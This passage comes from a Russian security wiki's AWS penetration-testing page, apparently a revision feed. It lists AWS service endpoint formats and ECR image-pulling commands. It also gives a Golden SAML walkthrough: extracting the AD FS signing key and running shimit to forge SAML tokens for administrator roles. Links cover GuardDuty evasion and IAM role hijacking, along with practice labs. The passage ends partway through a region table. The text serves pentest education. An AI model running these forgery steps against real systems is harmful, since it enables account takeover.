Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1212</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1212"/>
				<updated>2022-10-07T11:47:42Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Cognito */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
